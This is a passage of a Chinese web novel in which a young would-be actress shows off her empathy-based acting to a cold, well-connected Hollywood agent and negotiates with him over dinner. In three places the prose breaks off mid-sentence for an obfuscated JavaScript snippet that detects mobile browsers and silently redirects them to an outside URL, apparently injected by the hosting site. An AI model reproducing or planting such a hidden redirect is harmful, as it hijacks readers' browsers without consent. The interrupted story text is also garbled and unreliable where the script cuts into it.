“在这一次客串出演之前,有什么演艺经验?” “没有。” 切萨雷第一次抬起眉毛,幅度不高,但对他来说已算是讶异的表现,“戏剧社也算。” “我上一所预算紧缺的公立高中。”珍妮说,“亲爱的,那里几乎没有任何像样的社团活动,就算有,我也没空参加,我得打工,社会福利机构可不会负担我的零花钱。” 切萨雷放下笔,那冷淡而估量的眼神又回来了,珍妮觉得自己在他眼中就像是一块死肉,而他正在脑海中把她仔细地称量斤两,估算着她的价值。 “让我们把事情摊开来说。”其实切萨雷并不算太高傲,考虑到大多数人听到珍妮身世后的反应,他甚至可以说是很开明。只是——就只是他的冷漠完全盖过了一切别的优点,珍妮觉得他简直是把公事公办这四个字贯彻到了极致。“吉姆几乎是个白痴,这一点毋庸置疑。不过他起码还能混进CCA的这一层,多少还有点看家本事,所以我假定你应该还有点演技。” 珍妮说,“我想我刚也证明了这一点。” 她调出梦露模式——其实现在,无需共情她也可以找到梦露的感觉了,或许这就是太多次共情的后遗症——微微后靠,眼帘微垂,姿态妩媚而含蓄,红唇微张,声音有几分低沉,“是吗?维杰里先生?” 面对这能击溃盖文的表演,切萨雷只是扯了扯唇角。“不错,你对这个类型掌握得还算可以。” 他话锋一转,“不过我需要的并不只是性感花瓶——我现在缺少的是一种相当稀少的资源。” 珍妮有些困惑了,事实上她刚一直在困惑——吉姆自己就是CCA的经纪人,他完全可以和公司商量签下他,又或者是找别的更方便的资深经纪人来评估自己,给出意见,为什么一定是切萨雷?为什么要这么着急地来找他? 她感到自己正在靠近答案。 “我以为一个经纪人应该永远不会嫌客户太多。”她说,为切萨雷搭了个话口。 “那不是我的风格。”切萨雷说,双手成拱,平放在桌面上,语气平铺直叙,“我现在只需要最好的客户。” “你是说名气最大?”珍妮说,“吉米.汉克斯?梅格.雷克斯?” “不,”切萨雷说,“我现在需要天赋最好的客户,我的上一个主要客户是珍妮弗.贝尔,你应该听说过她。” 珍妮脱口而出,“《珍珠港》!” 说起来,这也是让她很诧异的一点,在她的影视库里,出演《珍珠港》女主角的还是凯特金娜.斯皮尔斯,但在珍妮的这个世界,凯特金娜.斯皮尔斯没有出演这部剧,而是由当红玉女珍妮弗.贝尔担纲,她在过去几年间是美国最吸引人注意的几张面孔之一,出演过好几部类型不同的片子,可以说前途一片看涨。直接威胁到了老牌玉女梅格.雷克斯。 “是的,《珍珠港。》”切萨雷说,“这部片子我建议她不要接,但她不听我的。总之,她现在不是我的客户了。” “她离开CCA了?”珍妮有些奇怪,一般来说,除非是功成名就,度过了第一个合约期,否则第一份经纪约并不是那么好解除的。 “CCA有个制度,超级明星不只由一个经纪人负责,这叫做业务交叉。”切萨雷说得好像那是别人家的事,俊美容颜毫无波动,“珍妮佛在年初步入超级明星(A-list)行列,成为我们的一线服务对象。她拥有了好几个经纪人,那些人不在意分享。” “而你在意。”珍妮说,她感到自己说得简直就是废话,切萨雷一看就是连一张披萨都不会分享的人。 “我连吃披萨都不会分享。”切萨雷说,珍妮不由皱起眉——这是切萨雷第二次和她不约而同。“当然也不会分享我的客户,关于我,这是你要学到的第一个知识:我不分享。” “OK,你不分享。”珍妮不在乎地说,“记住了。所以,你现在寻找的是珍妮佛的替身?” “不,我寻找的是一个特定的对象,珍妮佛只是通过接下《珍珠港》证明了她并不符合我的要求。”切萨雷纠正她,“这件事让我们之后再谈,言归正传,我寻找的并不是性感型演员,确切地说,我要找的对象不能只有一种演技,一张面孔。而放到你身上,我怀疑的是你还不具备演技这种东西,只是拥有两种性格,一种是现在的你。” 他冲珍妮做了个手势,仿佛如此便能概括她现在的无趣和平庸,“还有一种是性感的你,拥有一定的明星气势,可以作为特定类型的女演员小火一把,甚至冲上大荧幕,让人为你量身定做几部B级片——并非说这有什么不好,不过刚才的变脸并不能证明你有演技。而我现在想要确认这一点。” 这个人办事还真够有条不紊,不慌不忙的。 珍妮心想,但她并未因此反感切萨雷,因为她比切萨雷更有条不紊,不慌不忙。——虽然她也不肯定自己到底有没有演技,不过,只要按照她的办法来玩,这游戏她是绝不会输的。 “你想要测试我。”她说,忍不住笑了,“放马过来,说真的,维杰里先生,你完全不必客气。——要不这样,最近两三年内的卖座大片,你随便说几个角色。当然,得我看过的,你知道,我经济不宽裕,有些冷门影片我就不会进电影院了。” 切萨雷思忖片刻。 “《泰坦尼克号》,露丝.布克特。”果不其然,他选择了珍妮绝对没可能没看过的片子。 珍妮笑了。 其实,以她用《泰坦尼克号》练习的次数,即使不开共情,她也可以演出自己的风格,不过为了保险,她还是开启了共情。 在那一瞬间,露丝的一生冲刷而来,她在海面上载沉载浮,每一个呼吸都带着咸涩而冰冷的痛楚,死神就在她脖子后头吹着冷雾,而她的爱人已经危在旦夕,将要被寒冷夺去生命。他英俊的脸庞上挂了薄霜,她能感觉到他的生命将永远停留在这一刻,永远凝固在这片冰海之中。 但他让她不要放手,永远不要放弃。他说别这样,你敢说?你不能说再见。(Don\\\''tyoudothat,don\\\''tsayyourgood-byes。) “我不会放弃(I\\\''llneverletgo)。”她喃喃说,从心底激起了几乎是愤怒的勇气,他们一起走过了这些,尽管这只是短短的几天航程,但这一切比她的医生都还更有意义,她永远也不能放弃这些,不能在杰克把生活的喜悦教会给她之后,为了他,为了自己,她必须,是的,再艰难她也必须坚持到最后一刻。 她含着眼泪,对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274128|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海中的恋人许诺,“我永远也不会放弃,杰克。(I\\\''llneverletgo,Jack)。” 然后珍妮取消共情,抽了一张纸巾擦擦眼睛,她冲切萨雷摊开手,“Ta-dah。” 切萨雷的表情终于有了微妙的变化,但还没到失态的地步,他瞪了珍妮足足十多秒,然后低下头,一边书写一边喃喃自语。“演技过分饱满,有过火感,毫无疑问是体验派演员,未受过专业训练,但天分很高,经过锻炼,提升空间很大。” 天分很高、天分很高——珍妮忍不住说,“我不知道原来你还懂得夸奖别人?” “这不是夸奖,这是实事求是。”切萨雷搁下笔,突然发难,“《哈利.波特》,麦格教授。” 珍妮有瞬间慌乱,不过她当然看过这么出名的系列,只是从来没模拟过麦格教授而已,在短暂的操作后,她已经不自觉地收紧双臂,挺直脊背,难以自制地以饱经风霜的警惕眼神打量着眼前的小鬼们——天知道他们能给她惹来什么麻烦?一年级从来都最不省心…… “欢迎来到霍格瓦茨——”她说,但还没说完,切萨雷就说,“停。” 他又点了一个,“《第六感生死恋》,苏珊.帕里什。” 珍妮被频繁切换共情搞得有点头疼了,最重要是这部片子她完全没什么印象了,连经典场景都不记得,要现选场景么,又没这个时间。她难得有些狼狈和卡壳,“呃——可以等我一会吗?我需要调整一下。” “这么说你对自己还是有信心的?”切萨雷反问。 珍妮平静地点了点头。 “那么你不必尝试了。”切萨雷出人意表的决定,“我已经知道你不是会说大话的人。你下午的拍摄几点开始?” 切萨雷的话题变得很快,总是突兀地从一个点跳到另一个点,珍妮开始理解吉姆为什么那么怕他了——吉姆显然不是个有条有理思维敏捷的人。 但她是。 “下午1点15,”珍妮看了看表,“现在是11点25,你还有1小时5分钟可以说服我。” 从珍妮见到他时起,切萨雷第一次笑了,尽管这更像是鼻子里的一个喷气,但他的唇角的确向上弯了起来。“让我告诉你我们怎么安排,现在你回去片场,吃饭,换衣服,化妆,而我也离开去处理公事,下午我会去看你表演,如果你过了关,我会在晚饭桌上告诉你为什么你该让我做你的经纪人。这么安排,你有意见吗?” “但你不是马上要飞往纽约——”珍妮有些吃惊。 切萨雷按下室内分机的通话键,“娜拉,帮我取消去纽约的机票,告诉他们我明天再过去。” 没等娜拉回答,他便松开按键,继续和珍妮的对话,“我原本是要去纽约没错。” “我值得你改行程?”珍妮反问道。 “你值得我改行程。”切萨雷站起身来,示意珍妮和他一起出去,“但提醒你一点,这并不是你讨价还价的筹码。” 珍妮的确直到现在才肯定切萨雷的确是被她所谓的‘天赋’所打动——其实她还有点不能接受,切萨雷刚才表现得实在是太无动于衷了,即使现在他正在夸奖她,甚至可以说是对她示好,她都还没觉得他真的有在欣赏她的表现。 “那么——”她和切萨雷一道步出他的办公室,往电梯走去,“吉姆,我是说,你不等他了吗?” 切萨雷为她按开电梯,和她一起走进去,他说。“这应该是关于我的第二个知识,杰弗森小姐。” 他比了比手表,“我很注意时间。” 电梯门合拢,珍妮瞪着光滑的金属门面,过了一会才看了看电梯墙壁上挂着的电子广告牌。 广告牌一角,一个闪烁的数字告诉她,现在是11点32分。 她又看了看身边正发短信的高个子金发男人。 切萨雷.维杰里真的见鬼的很有时间观念。 15. 戴夫的告别 吉姆并没有赶上维杰里离开公司的脚步,珍妮也觉得他没可能那么顺利地拿到CIA的表演母带,这是整个剧组的制度问题,除非和负责保管数据工作人员打好关系,不然基本就不可能。而吉姆那盛气凌人的派头,一看就知道绝对和底层剧组人员关系不会太好。 维杰里也没提供顺风车,珍妮身上又没通行证,最后只能是打车回到片场,用笑脸骗警卫跟着一起上车,一直跟到摄影棚确认她是演员,又给警卫买了咖啡谢了他的通融,这才顺利赶上午饭后的补妆换衣,理所当然,她错过了午饭,一整个下午都在过度饥饿的眩晕中拍摄。 在拍摄间隙中,珍妮看到切萨雷和吉姆的身影出现在场边,有人过去和他们握手打了招呼,其余的细节,珍妮离的太远,而且一直在工作,所以也无心去留意。她试着去找了下戴夫——她回来以后都还没来得及和他说话,就化妆上戏了。 戴夫也在片场一角,不过离切萨雷他们很远,珍妮也不知道他是否有意为之。在一场接一场谋杀戏码之中,她实在没心思去想这个。 收到一整集剧本以后,演艺空间也就出现了这一集可以选择,只是没有成片观看,也不能选择和华妮塔共情,甚至尼克、华瑞克等人的面目也都很模糊,不过用来配戏已经足够。珍妮已经在演艺空间中试演过好几遍了,算是有过了充足准备,所以虽然下午的戏码也不算是毫无难度,但她多数都是几take就过,很多时候导演多take一遍只是为了换个角度来拍,到时候多点选择余地。 没波没澜地度过了下午的拍摄日程,她的全部戏份就拍摄完毕,之后到正式播出之前,都有可能被召唤过来补拍。TVS剧组会在月内把支票寄给珍妮,结算全部报酬,总之,对珍妮来说,这一次的拍摄可以说是一帆风顺,非但在戏里一切顺利,就是在戏外,也没出现过戴夫担忧的场面,CIA两个花旦角色凯蒂和莎拉,同珍妮都没有一对一的对手戏,基本不在一个棚里进行拍摄。 下戏以后,和导演握手寒暄,谢过了他的支持,顺带应下了他某天一起吃饭的邀约,珍妮犹豫了一下,还是先走去找戴夫,她举起手想要和他击掌,“我成功了,戴夫,我的第一次亮相拍完了!” 戴夫也露出微笑,“是的,恭喜你!” 和上午比,他的态度已有了微妙的疏远,珍妮不由皱起眉,她刚想说些什么,吉姆已经走了过来。“嗨,珍妮,恭喜你,你表现得很棒。” “谢谢你,吉姆。”珍妮对他也热情了不少,不管怎么说,也不论能不能成,吉姆毕竟是把她介绍给了CCA的资深经纪人。“维杰里先生呢?” “切萨雷两小时前先走了,他还有很多事要处理。”吉姆回答,他又看了戴夫一眼,不过这一次已经没有上午的敌意了,反而带了点同情的意味。“他说他和你晚饭有约?” “噢,对。”珍妮突然猜到了吉姆为什么会同情戴夫,她马上对戴夫解释说,“我们是要谈合约的事,戴夫,你知道,不是——不是那方面的约会。” 一边说,她一边想起好莱坞之星,“哦!对不起,我得去打个电话,我晚上本来还有工作的,现在得请他们找别人代班了。” 她走到不远处的空地上,拨通了好莱坞之星的电话,一边密切关注吉姆和戴夫,生怕他们又起什么冲突,但出乎意料,两人现在反而还挺友好,吉姆和戴夫聊了一会以后,甚至还拍了拍他的肩膀,而戴夫居然没有挥开,而是还以略带苦涩的笑容。 电话拨通以后,她没心思去观察别人了,而是忙着和老约翰道歉,约瑟夫连连叹息,但却没责怪珍妮什么,只是告诉她会扣发昨天的工资,甚至还很有风度地祝福她一切顺利。“不论你要去忙什么,都祝你顺利。” “谢谢你,老约翰。”珍妮真诚地说,她挂了电话,走到两个男人身边,“现在我要去卸妆和换衣服了,可能还洗个澡——我身上全是玉米糖浆。” “去吧,”吉姆迅速说,“我会把你送到餐厅的,时间应该正好。” “戴夫——”珍妮转向戴夫,戴夫对她安抚地一笑,他的情绪看来又好多了。 “我就先回去了。”他说,“下次见,珍妮。” “嘿。”珍妮忽然有些舍不得,她追着戴夫走了两步,“你还会回好莱坞之星吃点心的,对吗?” 戴夫有些诧异,他看了看珍妮,忽然笑开了,“是的,我会回去的,放心吧,我有你的电话,你记得吗?” “我记得,”珍妮说,她也笑了,伸手在耳边比划了一下,“有任何需要,你就——” “Callyou/Callme。”两人异口同声,随后相视而笑。戴夫催促道,“快去吧,不要迟到了,切萨雷很注重准时。” “连你也知道他?”珍妮有些吃惊了。 戴夫耸了耸肩,“好莱坞很小的,大家都认识大家,去吧,这真的是个很好的机会,我和林奇都对你有信心,你能拿下这份合约的。” 珍妮也知道自己不该耽搁了,她对戴夫匆匆一笑,转身就往化妆间跑,吉姆当然也跟了上来。 她的戏是结束了,但别人没有,化妆间里人还是蛮多的,做过特效化妆的几个临时演员都来排队卸妆,珍妮看人多,就想自己随便搞搞,不料吉姆却过去直接和化妆师说了几句,随后把珍妮领上前,“你没时间等了,先卸妆吧。” 珍妮主要是因为肩膀上做了个淤青的特效化妆,不是自己能洗掉的,当然这要比那些身上做了创口的临时演员要快,但不论如何,总是有个先来后到,这些临演下戏后谁知道要不要去哪里打工?珍妮心里顿时有些不舒服,然而不论是吉姆还是化妆师,甚至是本来排队等候的那几个演员,都表现得非常理所当然。 其实这也不是什么稀罕事,主要是她之前心里一直把自己放在临演这档次,现在就因为和切萨雷扯上关系,忽然间有了特殊待遇,总觉得仿佛是狗仗人势。——仇恨就都是这么引过来的,要是她没能如愿火起来,今天的事可能就是别人的笑柄。 做都做了,再拒绝吉姆也是矫情,珍妮没说什么,配合化妆师快速卸完妆,又去换了衣服,连妆也没画,就这样T恤牛仔裤地出来了,吉姆看了很晕,“亲爱的,你就没别的衣服吗?” “有,但没时间了。”珍妮说,“切萨雷约了几点?七点?现在六点半了,我相信他不是会接受迟到又或者是改时间的性格。” 吉姆急得唉声叹气,“七点,但切萨雷定了Mastro,那里得穿正装才能进去。” “那就只能让他等会了。”珍妮说,“这是他的问题吧,除非我能飞,不然我该怎么做到六点下戏,卸妆,然后直接七点换上华服走进一家意大利餐馆?” “不,是我的问题。”吉姆狠狠地拍打了一下方向盘,“我整个下午就傻站在那里——我该给你准备一套礼服的,或者就在服装部借,真不知道我当时在想什么!” “嗯,我也不知道你在想什么。”这一说,珍妮也觉得吉姆有些不够机灵了,难怪切萨雷说他几乎是个白痴。做经纪人这一行,几乎全是因人成事,人不够机灵,怎么都救不了。“我看看,现在还有25分钟……” 她看了下自己穿的T恤,由于昨晚很累的缘故,她今天随便抓了一件大T恤就跑出来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274129|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是平时被当睡衣穿的男款T,配合现在还不是太流行的小脚裤,这幅装扮去稍微好点的餐厅都会被踢出来,脚上也没穿高跟鞋,而是穿了一双平底便鞋,好在花纹尚且比较正式。 “你直接往餐馆开吧,”她决定道,“不要看我。” 但吉姆还是一边开车一边不断地看珍妮——因为珍妮就这么毫不避讳地在副驾驶上把双手脱出衣服,T恤拉到腋下。 “车上有别针吗?”珍妮问,“不要看我,专心开车,你要制造车祸吗?” “呃、呃,有。”吉姆猛地回过神来,结结巴巴地说,“就在你面前的格子里,你找找。” 珍妮把两只袖子紧紧绕过胸前,最后塞入衣服里,用别针在腋下固定,大T恤立刻就成了一件款式别致的露胸晚礼服,她最后抽掉内衣,借着裙子遮蔽,在不走光的情况下脱掉长裤,把头发放了下来,配合上平底便鞋和小巧挎包,她看来几乎完全是个光鲜亮丽的时尚女郎。 “OK了。”她把内衣和裤子放到后座,半开玩笑地说。“你欠我一回——不仅仅因为让你避免被骂,还因为——” 她往方向盘下方挥了挥手,吉姆猛地咽了一口唾沫,他尴尬地晃了晃脑袋,合拢双腿,掩饰自己腿.间的一些轻微反应。 “哇哦,”他说,将车拐入一条岔道。“好的,没问题,我欠你一回。” 车内安静了一会,然后吉姆说,“等等,不对,这么说的话,我把你介绍给切萨雷的事又该怎么算?” “这不是你的职务行为吗?”珍妮说,“你应该找维杰里先生表功才对啊。” 她有点开玩笑的意味,所以吉姆没有生气,只是翻了个白眼,把车停到了一栋商业大楼门前,“到了,餐厅在十六楼,你自己上去吧,报切萨的名字就行了。” “你不一起去吗?”珍妮问道。 吉姆摇摇头,珍妮不禁微微有些为他不平——他是经纪人,但做的工作却仿佛是切萨雷的助理。 “不必同情我。”吉姆倒是看出来了,“想要得胃溃疡的话,最快的办法就是和切萨雷同桌吃饭——祝你好运。” 最后一句话,他说得特别真诚。珍妮瞪了他一会,摇了摇头,无言地下了车,快速走进大堂。 Mastro的侍应生对珍妮的裙子看来颇有疑虑,但并未多说什么,当她把珍妮领到靠窗一张两人桌前时,珍妮心中猛地一跳,大觉不好。 切萨雷已经坐在桌前研读菜单,看来他到了有好一会了。听到脚步声过来,他看了看手表。 “7点5分。”他说,抬起头看向珍妮,“你迟到了,珍妮.杰弗森。” 珍妮绝对不会采取吉姆用的那种道歉策略,她冲服务生微微一笑,在她的帮助下坐入位中。“不能不说,维杰里先生,你给我的信心也越来越少了。” 切萨雷微微侧头,示意珍妮继续往下讲。 “我假定你找我晚饭,是已经认可了我的演技。”珍妮打开菜单,但眼神仍不离开切萨雷。“这顿晚饭,你会用来说明你作为经纪人究竟有何过人之处,我为什么该选择你作为我的经纪人。” 她笑了笑,“根据拍摄日程表,我下午6点才结束拍摄,从比弗利山庄赶到这里,在交通高峰时段起码需要40分钟。我不会飞,维杰里先生,我的妆也不会自动被卸掉。你的时间观念很强,维杰里先生,你告诉我,一个合格的经纪人又怎么会把两个行程安排得这么紧凑呢?” 两人的目光在烫金菜单上空相逢,氧气含量仿佛忽然稀薄,切萨雷面无表情,眼神冷漠,而珍妮面带笑容,寸步不让,对峙之势,已然形成。 16. 引发胃溃疡的晚餐 “先生,小姐,请问决定好点单了吗?” 不知是否巧合,两人的气氛才刚剑拔弩张,服务生就走过来询问菜单,倒是无形间缓和了氛围。 “给我海鲜小拼盘做两人份的前菜,”切萨雷很快做了决定,“我要小牛排,半熟,土豆泥和龙虾西红柿做边菜,酒开两种,你们看着搭配。” 侍者快速记下点单,然后和切萨雷一起看向珍妮。 珍妮想到小牛排曼妙诱人的香味,还有红酒在口中醇厚的淡涩回味,甚至是一片面包包含的麦香味对于她来说都是极为强烈的诱惑,她白天晚上连续工作已经快一周了,而且中午还没吃饭。 但这也意味着一周没有健身,现在吃下的每一口美食都有极大可能转化为脸上身上的脂肪。 “金枪鱼沙拉,谢谢。”她自己都佩服自己的冷静口吻,甚至还破罐子破摔地加了一句,“请不要加沙拉酱。” 服务员对她的态度迅速地冷淡下来,珍妮不以为忤,在高级餐厅,服务员会更加尊重美食客,她这种一看就是严格节食减肥成狂的客人比游客还更不受欢迎。 反之,切萨雷却流露少少赞许,他主动说,“我猜想你很可能没时间吃午饭。” “是啊,但我已经连续工作了五天,没有时间健身。”珍妮耸了耸肩,“在这种时候,我渴望美食吗?是的,但我更渴望成功。” “很好。”切萨雷没有吝啬赞许,“你一直在让我吃惊,杰弗森小姐。现在,请容许我先为自己的失察道歉,我应该把吉姆的能力考虑在内,但显然,繁忙的日程让我终究有所疏忽。” 珍妮扬了扬眉毛,“你是说,你本以为我可以赶得上晚饭,不至于这么着急?” “我也是从底层做上来的,”切萨雷说,“当我在邮件收发室干活的时候,有一回伊诺.马丁让我为他跑腿,在三小时内把茱莉亚.杰斯茨带到晚宴现场——当时她在驰宙片场里拍《我最好朋友的婚礼》,导演是P.J.霍根,他们两人的脾气都不大好,而我当时只是个新人,进入公司不到三个月。茱莉亚事前已经和马丁明确说过,她不想参加那晚的宴会,而霍根把当天的拍摄安排到了晚上九点钟。” 珍妮不觉被吸引,她问,“最终你怎么说服她的?” “这就是问题所在,”切萨雷说,“三小时内,我把茱莉亚光鲜亮丽地交到马丁臂弯里,而吉姆今天要做的只是为你准备一件礼服,让你准时下班,换上衣服然后过来。经纪人这行没有固定的评审标准,也正因为如此,好与坏的差距会相当大。” “我明白你的意思了。”珍妮说,“比起错估时间,你更像是错估了吉姆的能力——不过,这还是让我难以释怀,你知道经纪人最重要的就是眼光,衙门得看人、看剧本,看错了吉姆的能力和算错时间比,前者好像会是更严重的问题。” “啊。”切萨雷浅浅一笑,但笑意并未到达眼底,珍妮从认识他到现在,还没发现他有流露过什么人类的感情。“我看出来了,你是个精明的女孩。” 侍者端来白酒,为两人都倒了一杯,珍妮举起杯子冲切萨雷举了举,“在好莱坞,这不是什么坏处吧?” “当然不是,”切萨雷让开空间,侍者放下了一个不小的海鲜小点拼盘,“长期处于节食状态,我不建议你品尝生蚝,又或者是奶酪焗扇贝,这些东西对你的胃负担太大,但你可以尝尝烘墨鱼,这道菜较为清淡,热量相对最低,口味也不错。” “谢谢推荐。”珍妮说,她嘴里忽然开始分泌口水,上帝啊,她上一次大快朵颐还真是上辈子的事——字面意义上的。 他们有一阵子没有说话,只是默默地吃着点心,珍妮觉得这家餐厅的菜真是好吃极了,她接连吃了两块烘墨鱼和一小片餐前面包,这才停下嘴。 切萨雷为她把酒加上,“一句题外话,你穿的小礼服是由T恤改造而成的吧?心思很巧。” “谢谢。”珍妮不由有些得意,“不过没时间化妆了,我只好在电梯里涂了口红。” “以你的长相和年纪,妆容并非必不可少,”切萨雷就事论事般地说,他的眼神在珍妮周身上下游移,但不含任何猥.亵意味,“事实上,你的素颜让我对你信心更足——即使不化妆,你也依然很漂亮。” 没有女人不喜欢被夸奖,珍妮也不例外,在美食和甜言蜜语的熏陶下,她放松了许多,忍不住也友善地冲切萨雷一笑,“谢谢你的好评——不过你要以为这能让我忘了刚才的问题,那就错了。” “看来我没能蒙混过关。”切萨雷轻呷一口酒,“这的确是我犯的一个错误,到底是因为误算时间还是误识同事,这是你的选择,你可以自由理解。” “那么你在我这里要扣上几分了。”珍妮不打算放过这个优势,她认真地盯着切萨雷,“我还有一个问题十分好奇,你是个经纪人,让我们粗俗地说,经纪人和皮/条客实际上做的都是一样的活计,也就是用一方的劳动换取另一方的钱财。当然,很多经纪人有时候也兼任皮/条客。” 切萨雷唇边再度浮现礼貌的笑意,“对此,我不表反对。” “那么问题来了,维杰里先生,”珍妮好奇地问道,“你见过有任何一个皮条客和你一样高高在上吗?我是说,你是怎么用这张脸去为你的客户争取利益的?我们都知道在好莱坞,一切都和人脉有关,以你今天的表现,我甚至很难相信你会有一个朋友。” “很好的问题。”切萨雷依然相当镇定,“对你的疑问,三个回答分别是,没有,对大部分经纪人来说,和蔼可亲易于交流的确是必备素质。是,我的朋友的确不多,以及——不,面对片商时我不会是这样一张脸,必要时候,我也可以彬彬有礼、幽默风趣,只是我习惯于不在目标人群上浪费这份精力。” “也就是说我不值得你假装。”珍妮咄咄逼人。 “你是不值得。”切萨雷说,他看了珍妮一眼,蓝眼幽深锐利,“因为你并不在乎我的冷漠。杰弗森小姐,在这点上我相信我的判断。” 珍妮张开嘴——然后又合拢,她能说什么?她的确不在乎切萨雷的冷漠,只要他能证明自己是个好经纪人,哪怕他一句话也不和她说,只通过电子邮件交流她都不会在乎。 “至于你说的第四句话,我也相当认同,在好莱坞,一切都和人脉有关,我以为一个优秀的经纪人应该具备如下几点:第一,精准的看人眼光,第二,富有预见性的市场分析能力,第三,广博有力的人脉,第四,对旗下艺人出众的控制力。”切萨雷让侍者撤去前菜拼盘,“杰弗森小姐,你认可我的看法吗?” 珍妮点了点头,“第一点暂且存疑,因为你看错了吉姆,不过……”她笑了一下,“你又看中了我,甚至为我推掉了去纽约的行程,所以我选择相信你看人的眼光还是蛮准的。第二点,你不建议珍妮弗.贝尔接《珍珠港》,证明你的市场分析能力也很出众——《珍珠港》的票房表现实在是太糟糕了。至于第四点,哦,维杰里先生,你毫无疑问是个控制狂,这点绝对不假。” “所以我们现在剩下的只有第三点存疑。”切萨雷说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274130|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你不相信我的交际能力可以维护三教九流的多条人脉,” 珍妮想了想,点点头,“现在我们只剩这个问题了。” 侍者端来牛排和沙拉,谈话暂时宣告中断,珍妮嫉妒地闻着切萨雷盘中传来的香气,她注意到切萨雷吃得很快,但动作非常优雅。 “还是茱莉亚的故事。”切萨雷喝过一口酒,把刀叉放下,盘中牛排已经只剩一半。“——请原谅我的狼吞虎咽,如果你感兴趣的话,我也没吃午饭——我在三小时内说服了茱莉亚,让她光鲜亮丽地出现在晚宴现场,而你想知道我是怎么办到的。” “没错。”珍妮承认道,她眯起眼猜测,“你该不会是和茱莉亚调情什么的吧?不过即使她愿意出席,你又怎么说服到导演放人的?你也和他调情?” “我不必。”切萨雷淡然说,“我的生父是米高梅高级执行副总裁,母亲是安斯奈制片部经理,继父曾是时代雷蒙德的购片主管,我的曾祖父是罗西.曼森,米高梅的创始人之一。茱莉亚和霍根都是家族的朋友,当晚,我把霍根也带到了晚宴上。” 他举起酒杯,向珍妮微微倾斜,做出碰杯姿势。“这是我在五年内成为资深经纪人的一大原因,杰弗森小姐,也许我不能说拥有全好莱坞最广博的人脉,但我的确是人脉最广博的经纪人之一。” 珍妮无话可说。谁说外国人就公事公办?不靠关系?在世界上任何一个角落,关系都是最宝贵的资源,比起中国人,外国人甚至更不忌讳走关系,更以有关系为傲。 她举起酒杯,“所以,你的确证明了你会是个非常优秀的经纪人,而我相信你对我也比较满意。” 她和切萨雷轻轻碰杯,“这一杯算是祝贺我们的经纪合约?” 切萨雷摇了摇头,反而把酒杯放下。他蔚蓝色的双眼紧盯珍妮,“不,杰弗森小姐,这只证明了你有和我达成合约的资格和意向。在我们最终定下合约之前,我还有最后一个问题要问。” 珍妮皱起眉,忽然兴起一股不确定感。“请问?” “你的最终目标是什么。”切萨雷问,在他锐利的眼神中,珍妮兴起无法说谎的感觉,“不论是什么,我不批判(Judge),你可以,也请你一定诚实告诉我。” 珍妮的第一反应其实还是说谎,但她还没开口,切萨雷似乎就有所察觉,他立刻补充,“影后也好,类型演员也好,只是想要赚钱也好,嫁入豪门也好,你可以诚实地说,我不会评判你,甚至我可以告诉你,杰弗森小姐,不论你怎么回答,我基本都会签下你。” “呃,”珍妮感觉自己要是再不说实话,切萨雷也许会看出来并且生气,她只好无奈地说,“你保证不笑话我?” “保证。” “OK。”珍妮耸了耸肩,“你觉得一个女演员在好莱坞能取得的最高成就是什么?多次获得奖项,票房累计进入记录前十?在星光大道留名?拥有自己的公司,甚至和奥丝莉尔一样拥有自己的有线电视网?” “奥丝莉尔没有有线电视网,”切萨雷说,“她有的是电视制作公司,不过没错,她的确代表一个高峰。” 陈贞忽然想起奥丝莉尔的电视网是在09年设立,她赶快把这个话题含糊过去,“嗯,你说得对,她代表一个高峰。” 她比了个手势,表示奥丝莉尔达到的高度,然后用另一只手盖过了它。“那我的目标就是要比她更高,我要在好莱坞的历史上留下自己的名字——我要,我必须要称霸好莱坞。” 切萨雷的动作出现短暂停顿。 17. 共同的野心 切萨雷的动作出现短暂停顿,他的双眼犹如蔚蓝深海,即使波涛汹涌,在表面也只有些许起伏,这双眼专注地盯着陈贞,似乎在寻找她的破绽,肯定她的真诚。 他过了一会才开口说话,“那么你的野心不小。” 珍妮耸耸肩,“你可以尽情地笑话我做梦,事实上我目前也不知道该怎么去实现,不过这的确就是我的职业目标。” “那你要知道,为了攀上这个高峰,你要付出的东西绝不会少。”切萨雷说,“在长年累月的劳苦工作中坚持节食,看着我大快朵颐而不要求分享,你的意志力的确很强劲,杰弗森小姐,但你要知道,如今好莱坞一线、二线女星之中,你的这份毅力并不少见,这甚至只能算是入门级表现。” 他一边观察珍妮的表情,一边说,“而哪怕是那些成功者,也没人能达到你理想中的高度,她们之中也不乏天资与运气、野心具备的天之骄子。你想要达到的高度是这么的高,以至于没人能告诉你该怎么做,这不是一局游戏,你按照规则去玩,最终总能胜利。有九成可能,你为了这目标付出一切,最终却还是功败垂成,甚至连奖杯的边都摸不着。——你明白这些风险吗?” 珍妮叹了口气,“我明白。” 